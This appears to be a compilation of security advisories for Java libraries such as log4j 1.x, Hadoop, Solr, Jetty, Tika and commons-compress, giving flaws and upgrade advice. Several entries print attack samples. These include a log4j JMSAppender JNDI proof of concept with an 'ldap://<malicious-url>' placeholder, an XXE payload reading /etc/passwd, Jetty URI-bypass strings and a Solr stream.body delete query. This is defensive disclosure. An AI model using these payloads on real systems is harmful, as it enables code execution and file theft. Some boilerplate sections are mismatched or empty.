Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due several issues in the loading of untrusted configurations. An attacker can cause excessive resource consumption by manipulating the configuration data or introducing unexpected usage patterns. Users affected by this issue are recommended to upgrade to the 2.x version line org.apache.commons:commons-configuration2, which fixes these issues.

Note: This is only exploitable if the application is configured to load untrusted configurations.

Remediation

There is no fixed version for commons-configuration:commons-configuration.

References

• Apache Mail

Overview

commons-io:commons-io is a The Apache Commons IO library contains utility classes, stream implementations, file filters, file comparators, endian transformation classes, and much more.

Affected versions of this package are vulnerable to Uncontrolled Resource Consumption ('Resource Exhaustion') through the XmlStreamReader class. An attacker can cause the application to consume excessive CPU resources by sending specially crafted XML content.

Remediation

Upgrade commons-io:commons-io to version 2.14.0 or higher.

References

• Apache Advisory
• GitHub Commit

Overview

org.apache.poi:poi-ooxml is a Java API To Access Microsoft Format Files.

Affected versions of this package are vulnerable to Improper Input Validation due to the parsing process of OOXML format files. An attacker can manipulate the file content by adding zip entries with duplicate names, leading to inconsistent data being read by different products depending on which duplicate entry is selected.

Remediation

Upgrade org.apache.poi:poi-ooxml to version 5.4.0 or higher.

References

• Apache Advisory
• Apache Bugzilla Bug
• GitHub Commit
• GitHub Commit

Overview

org.apache.hadoop:hadoop-common is a framework that allows for the distributed processing of large data sets across clusters of computers using simple programming models.

Affected versions of this package are vulnerable to Creation of Temporary File in Directory with Insecure Permissions in the RunJar.run() method. If sensitive data is stored in this file, a local attacker can view it by accessing the temporary directory where this data is stored.

Note:

This vulnerability can only be exploited on unix-like systems, where the system temporary directory is shared between all local users.

Remediation

Upgrade org.apache.hadoop:hadoop-common to version 3.4.0 or higher.

References

• Apache Advisory
• Apache Jira Issues
• GitHub Commit
• GitHub Commit

Overview

log4j:log4j is a 1.x branch of the Apache Log4j project. Note: Log4j 1.x reached End of Life in 2015, and is no longer supported.

Affected versions of this package are vulnerable to Arbitrary Code Execution.
Note: Even though this vulnerability appears to be related to the log4j 2.x vulnerability, the 1.x branch of the module requires an attacker to have access to modify configurations to be exploitable, which is rarely possible.

In order to leverage this vulnerability the following conditions must be met:

1. The application has enabled JMSAppender (or a class that extends JMSAppender)
2. The attacker has access to directly modify the TopicBindingName or TopicConnectionFactoryBindingName configuration variables - which is an unlikely scenario

If these conditions are met, log4j 1.x allows a lookup feature that does not protect against attacker-controlled LDAP and other JNDI related endpoints. Therefore, an attacker with access to the aforementioned configuration variables is able to execute arbitrary code when loaded from an LDAP server.

PoC

import org.apache.log4j.net.JMSAppender;
// ...
JMSAppender a = new JMSAppender();
a.setTopicConnectionFactoryBindingName("ldap://<malicious-url>");
// OR a.setTopicBindingName("ldap://<malicious-url>");
a.activateOptions();

Remediation

There is no fixed version for log4j:log4j.

References

• Apache Mail
• Atlassian Patch
• GitHub Comment
• GitHub Discussion
• PoC in GitHub

Overview

commons-fileupload:commons-fileupload is a component that provides a simple yet flexible means of adding support for multipart file upload functionality to servlets and web applications.

Affected versions of this package are vulnerable to Denial of Service (DoS) when an attacker sends a large number of request parts in a series of uploads or a single multipart upload.

NOTE: After upgrading to the fixed version, the setFileCountMax() must be explicitly set to avoid this vulnerability.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade commons-fileupload:commons-fileupload to version 1.5 or higher.

References

• Apache Mailing List
• GitHub Commit
• GitHub Commit
• GitHub Commit (Tomcat)
• PoC

Overview

commons-fileupload:commons-fileupload provides a simple yet flexible means of adding support for multipart file upload functionality to servlets and web applications.

Affected versions of the package are vulnerable to Information Disclosure because the InputStream is not closed on exception.

Remediation

Upgrade commons-fileupload to version 1.3.2 or higher.

References

• Github ChangeLog
• Github Commit

Overview

org.apache.commons:commons-compress is an API for working with compression and archive formats.

Affected versions of this package are vulnerable to Denial of Service (DoS). When reading a specially crafted 7Z archive, Compress can be made to allocate large amounts of memory that finally leads to an out-of-memory error even for very small inputs. This could be used to mount a denial of service attack against services that use Compress' sevenz package.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade org.apache.commons:commons-compress to version 1.21 or higher.

References

• Apache Security Advisory
• Apache Security Advisory
• Git Commit
• Git Commit
• Git Commit
• Git Commit
• Git Commit
• Git Commit
• Git Commit
• GitHub Commit
• Jira Issue

Overview

org.apache.commons:commons-compress is an API for working with compression and archive formats.

Affected versions of this package are vulnerable to Denial of Service (DoS). When reading a specially crafted 7Z archive, the construction of the list of codecs that decompress an entry can result in an infinite loop. This could be used to mount a denial of service attack against services that use Compress' sevenz package.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade org.apache.commons:commons-compress to version 1.21 or higher.

References

• Apache Security Advisory
• Apache Security Advisory
• Git Commit

Overview

org.apache.commons:commons-compress is an API for working with compression and archive formats.

Affected versions of this package are vulnerable to Denial of Service (DoS). When reading a specially crafted TAR archive, Compress can be made to allocate large amounts of memory that finally leads to an out-of-memory error even for very small inputs. This could be used to mount a denial of service attack against services that use Compress' tar package.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade org.apache.commons:commons-compress to version 1.21 or higher.

References

• Apache Security Advisory
• Apache Security Advisory
• Git Commit
• Git Commit
• Git Commit

Overview

org.apache.hadoop:hadoop-common is a framework that allows for the distributed processing of large data sets across clusters of computers using simple programming models.

Affected versions of this package are vulnerable to Information Exposure. A cluster user may be able to expose private files owned by the user running the MapReduce job history server process. A malicious user can construct a configuration file containing XML directives that reference sensitive files on the MapReduce job history server host.

Remediation

Upgrade org.apache.hadoop:hadoop-common to version 2.8.3, 3.0.0 or higher.

References

• Apache Security Advisory
• NVD

Overview

org.apache.hadoop:hadoop-hdfs is a framework that allows for the distributed processing of large data sets across clusters of computers using simple programming models.

Affected versions of this package are vulnerable to Privilege Escalation. Does not check authorization for the refreshNamenodes, deleteBlockPool and shutdownDatanode HDFS admin commands, which allows remote authenticated users to cause a denial of service or perform unnecessary operations by issuing a command.

Remediation

Upgrade org.apache.hadoop:hadoop-hdfs to version 0.23.11, 2.4.1 or higher.

References

• Cloudera Security Bulletin
• GitHub Commit

Overview

org.apache.hadoop:hadoop-hdfs is a framework that allows for the distributed processing of large data sets across clusters of computers using simple programming models.

Affected versions of this package are vulnerable to XML External Entity Injection (XXE) due to insecure parsing of XML files via the OfflineEditsXmlLoader.java tool.

Remediation

Upgrade org.apache.hadoop:hadoop-hdfs to version 3.3.2 or higher.

References

• GitHub Commit
• GitHub PR
• Jira Issue

Overview

org.apache.pdfbox:pdfbox Affected versions of the package are vulnerable to Authentication Bypass. The ReadOnly permissions are not called in the StandardSecurityHandler, allowing all users to edit the PDF file although the are not the owners.

Remediation

Upgrade org.apache.pdfbox:pdfbox to versions 1.8.13 ,2.0.2 or higher.

References

• https://github.com/apache/pdfbox/commit/f0c0fb1af3c0419bdea2fe3d0ab1fe36a6d9dc2c
• https://issues.apache.org/jira/browse/PDFBOX-3341

Overview

org.apache.pdfbox:pdfbox is an open source Java tool for working with PDF documents.

Affected versions of this package are vulnerable to Denial of Service (DoS) attacks. A carefully crafted PDF file can trigger an extremely long running computation when parsing the page tree.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade org.apache.pdfbox:pdfbox to version 2.0.12, 1.8.16 or higher.

References

• https://lists.apache.org/thread.html/a9760973a873522f4d4c0a99916ceb74f361d91006b663a0a418d34a@%3Cannounce.apache.org%3E
• https://github.com/apache/pdfbox/commit/4fa98533358c106522cd1bfe4cd9be2532af852
• https://github.com/apache/pdfbox/commit/a6deb9d7ffec79986cac82345db724b343ca3e5
• https://github.com/apache/pdfbox/commit/f7dc8eed7df007c88421919932e2d4de44d2ae2

Overview

org.apache.tika:tika-core is a toolkit for detecting and extracting metadata and structured text content from various documents using existing parser libraries.

Affected versions of this package are vulnerable to XML External Entity (XXE) Injection attacks. Under certain circumstances, the entity expansion limit might be removed during XML parsing.

Details

XXE Injection is a type of attack against an application that parses XML input. XML is a markup language that defines a set of rules for encoding documents in a format that is both human-readable and machine-readable. By default, many XML processors allow specification of an external entity, a URI that is dereferenced and evaluated during XML processing. When an XML document is being parsed, the parser can make a request and include the content at the specified URI inside of the XML document.

Attacks can include disclosing local files, which may contain sensitive data such as passwords or private user data, using file: schemes or relative paths in the system identifier.

For example, below is a sample XML document, containing an XML element- username.

<?xml version="1.0" encoding="ISO-8859-1"?>
   <username>John</username>
</xml>

An external XML entity - xxe, is defined using a system identifier and present within a DOCTYPE header. These entities can access local or remote content. For example the below code contains an external XML entity that would fetch the content of /etc/passwd and display it to the user rendered by username.

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
   <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
   <username>&xxe;</username>
</xml>

Other XXE Injection attacks can access local resources that may not stop returning data, possibly impacting application availability and leading to Denial of Service.

Remediation

Upgrade org.apache.tika:tika-core to version 1.19.1 or higher.

References

• https://lists.apache.org/thread.html/88de8350cda9b184888ec294c813c5bd8a2081de8fd3666f8904bc05@%3Cdev.tika.apache.org%3E

Overview

org.apache.solr:solr-core is an open source enterprise search platform built on Apache Lucene

Affected versions of this package are vulnerable to Remote Code Execution (RCE). One can issue a HTTP request parameter stream.body which Solr will interpret as body content on the request, i.e. act as a POST request. This is useful for development and testing but can pose a security risk in production since users/clients with permission to GET on various endpoints can also post by using stream.body. The classic example is &stream.body=<delete><query>:</query></delete>. Furthermore, this feature cannot be turned off by configuration as it is not controlled by enableRemoteStreaming.

Remediation

Upgrade org.apache.solr:solr-core to version 7.1.0 or higher.

References

• Apache Jira Issue
• GitHub Commit

Overview

org.eclipse.jetty:jetty-http is an is a http module for jetty server.

Affected versions of this package are vulnerable to Improper Validation of Syntactic Correctness of Input via the HttpURI class due to insufficient validation on the authority segment of a URI. An attacker can manipulate the URI parsing to redirect requests or initiate server-side requests to unintended destinations by supplying malformed URIs that bypass validation checks.

Notes:

1. This is only exploitable if the application uses decoded user data as encoded URIs in conjunction with the HttpURI class used directly;

2. The Jetty usage of the HttpURI class is not vulnerable.

Workaround

This vulnerability can be mitigated by not passing decoded user data as encoded URIs to any URI class/method, including HttpURI.

PoC

http://browser.check &@vulndetector.com/
http://browser.check #@vulndetector.com/
http://browser.check?@vulndetector.com/
http://browser.check#@vulndetector.com/
http://vulndetector.com\\/

Remediation

Upgrade org.eclipse.jetty:jetty-http to version 9.4.57.v20241219, 12.0.12 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub PR
• GitLab Issue

Overview

org.eclipse.jetty:jetty-server is a lightweight highly scalable java based web server and servlet engine.

Affected versions of this package are vulnerable to Improper Validation of Syntactic Correctness of Input via the HttpURI class due to insufficient validation on the authority segment of a URI. An attacker can manipulate the URI parsing to redirect requests or initiate server-side requests to unintended destinations by supplying malformed URIs that bypass validation checks.

Notes:

1. This is only exploitable if the application uses decoded user data as encoded URIs in conjunction with the HttpURI class used directly;

2. The Jetty usage of the HttpURI class is not vulnerable.

Workaround

This vulnerability can be mitigated by not passing decoded user data as encoded URIs to any URI class/method, including HttpURI.

PoC

http://browser.check &@vulndetector.com/
http://browser.check #@vulndetector.com/
http://browser.check?@vulndetector.com/
http://browser.check#@vulndetector.com/
http://vulndetector.com\\/

Remediation

Upgrade org.eclipse.jetty:jetty-server to version 9.4.57.v20241219, 12.0.12 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub PR
• GitLab Issue

Overview

org.apache.hadoop:hadoop-hdfs is a framework that allows for the distributed processing of large data sets across clusters of computers using simple programming models.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) attack through an unescaped query parameter.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Affected environments

The following environments are susceptible to an XSS attack:

• Web servers
• Application servers
• Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

• Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
• Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
• Give users the option to disable client-side scripts.
• Redirect invalid requests.
• Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
• Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
• Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade org.apache.hadoop:hadoop-hdfs to version 2.7.0 or higher.

References

• Hadoop Mailing Archive Issue
• NVD

Overview

org.apache.solr:solr Multiple cross-site scripting (XSS) vulnerabilities in the Admin UI in Apache Solr before 5.1 allow remote attackers to inject arbitrary web script or HTML via crafted fields that are mishandled during the rendering of the (1) Analysis page, related to webapp/web/js/scripts/analysis.js or (2) Schema-Browser page, related to webapp/web/js/scripts/schema-browser.js.

Details

<>

References

• NVD

Overview

org.apache.solr:solr Cross-site Scripting (XSS) vulnerability in webapp/web/js/scripts/plugins.js in the stats page in the Admin UI in Apache Solr before 5.3.1 allows remote attackers to inject arbitrary web script or HTML via the entry parameter to a plugins/cache URI.

Details

<>

References

• NVD

Overview

com.google.guava:guava is a set of core libraries that includes new collection types (such as multimap and multiset,immutable collections, a graph library, functional types, an in-memory cache and more.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. During deserialization, two Guava classes accept a caller-specified size parameter and eagerly allocate an array of that size:

• AtomicDoubleArray (when serialized with Java serialization)
• CompoundOrdering (when serialized with GWT serialization)

An attacker may be able to send a specially crafted request which with then cause the server to allocate all it's memory, without validation whether the data size is reasonable.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like Remote Method Invocation (RMI), Java Management Extension (JMX), Java Messaging System (JMS), Action Message Format (AMF), Java Server Faces (JSF) ViewState, etc.

Deserialization of untrusted data (CWE-502), is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, letting the attacker to control the state or the flow of the execution.

Java deserialization issues have been known for years. However, interest in the issue intensified greatly in 2015, when classes that could be abused to achieve remote code execution were found in a popular library (Apache Commons Collection). These classes were used in zero-days affecting IBM WebSphere, Oracle WebLogic and many other products.

An attacker just needs to identify a piece of software that has both a vulnerable class on its path, and performs deserialization on untrusted data. Then all they need to do is send the payload into the deserializer, getting the command executed.

Developers put too much trust in Java Object Serialization. Some even de-serialize objects pre-authentication. When deserializing an Object in Java you typically cast it to an expected type, and therefore Java's strict type system will ensure you only get valid object trees. Unfortunately, by the time the type checking happens, platform code has already created and executed significant logic. So, before the final type is checked a lot of code is executed from the readObject() methods of various objects, all of which is out of the developer's control. By combining the readObject() methods of various classes which are available on the classpath of the vulnerable application, an attacker can execute functions (including calling Runtime.exec() to execute local OS commands).

Remediation

Upgrade com.google.guava:guava to version 24.1.1, 24.1.1-jre or higher.

References

• GitHub Commit
• Google Group Forum
• RedHat Bugzilla Bug

Overview

log4j:log4j is a 1.x branch of the Apache Log4j project. Note: Log4j 1.x reached End of Life in 2015, and is no longer supported.

Affected versions of this package are vulnerable to Denial of Service (DoS). When using the Chainsaw or SocketAppender components with Log4j 1.x on JRE less than 1.7, an attacker that manages to cause a logging entry involving a specially-crafted, deeply nested hashmap or hashtable (depending on which logging component is in use) to be processed could exhaust the available memory in the virtual machine and achieve denial of service when the object is deserialized.

This issue affects Apache Log4j before 2. Affected users are recommended to update to Log4j 2.x org.apache.logging.log4j/log4j-core.

NOTE: This vulnerability only affects products that are no longer supported by the maintainer.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

There is no fixed version for log4j:log4j.

References

• Apache Lists

Overview

org.apache.solr:solr-core is an open source enterprise search platform built on Apache Lucene

Affected versions of this package are vulnerable to Improper Input Validation in DataImportHandler, which allows an attacker to provide a Windows UNC path resulting in an SMB network call being made from the Solr host to another host on the network. If the attacker has wider access to the network, this may lead to SMB attacks, which may result in the exfiltration of sensitive data such as OS user hashes (NTLM/LM hashes). In case of misconfigured systems, SMB relay attacks can lead to user impersonation on SMB Shares or, in a worse-case scenario, Remote Code Execution.

Remediation

Upgrade org.apache.solr:solr-core to version 8.11.1 or higher.

References

• Apache Jira Issues
• GitHub Commit
• GitHub Commit
• GitHub PR
• GitHub PR
• Solr Security News

Overview

org.apache.tika:tika-core is a toolkit for detecting and extracting metadata and structured text content from various documents using existing parser libraries.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via a specially crafted file, when being parsed by the StandardsText class, which is used by StandardsExtractingContentHandler.

Note: This only affects users who are running the StandardsExtractingContentHandler, which is a non-standard handler.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

• A The string must start with the letter 'A'
• (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
• D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

1. CCC
2. CC+C
3. C+CC
4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade org.apache.tika:tika-core to version 1.28.3, 2.4.0 or higher.

References

• Apache Issue
• GitHub Commit
• GitHub Commit

Overview

com.google.protobuf:protobuf-java is a Google's language-neutral, platform-neutral, extensible mechanism for serializing structured data.

Affected versions of this package are vulnerable to Denial of Service (DoS) via the parsing procedure for binary and text format data. Input streams containing multiple instances of non-repeated embedded messages with repeated or unknown fields cause objects to be converted back and forth between mutable and immutable forms, resulting in potentially long garbage collection pauses.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade com.google.protobuf:protobuf-java to version 3.16.3, 3.19.6, 3.20.3, 3.21.7 or higher.

References

• Chromium Bugs
• GitHub Commit
• GitHub PR
• GitHub Release
• GitHub Release
• GitHub Release
• GitHub Release

Overview

com.drewnoakes:metadata-extractor is a Java library for reading metadata from image files.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to uncaught exceptions while parsing a specially crafted JPEG file, which could result in an application crash.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade com.drewnoakes:metadata-extractor to version 2.18.0 or higher.

References

• GitHub Commit
• GitHub Issue
• GitHub Release

Overview

com.drewnoakes:metadata-extractor is a Java library for reading metadata from image files.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via a specially crafted JPEG file, that when read can be made to allocate large amounts of memory that finally leads to an out-of-memory error even for very small inputs.

Remediation

Upgrade com.drewnoakes:metadata-extractor to version 2.18.0 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub Issue
• GitHub Release

Overview

org.apache.commons:commons-compress is an API for working with compression and archive formats.

Affected versions of this package are vulnerable to Denial of Service (DoS). When reading a specially crafted ZIP archive, the read method might fail to return the correct EOF indication after the end of the stream has been reached. If it combined with a java.io.InputStreamReader, it can lead to an infinite stream, which can be used to mount a denial of service attack against services that use Compress' zip package.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

• A The string must start with the letter 'A'
• (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
• D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

1. CCC
2. CC+C
3. C+CC
4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade org.apache.commons:commons-compress to version 1.18-RC1 or higher.

References

• Apache Security Advisory
• GitHub Commit

Overview

org.apache.hadoop:hadoop-hdfs is a framework that allows for the distributed processing of large data sets across clusters of computers using simple programming models.

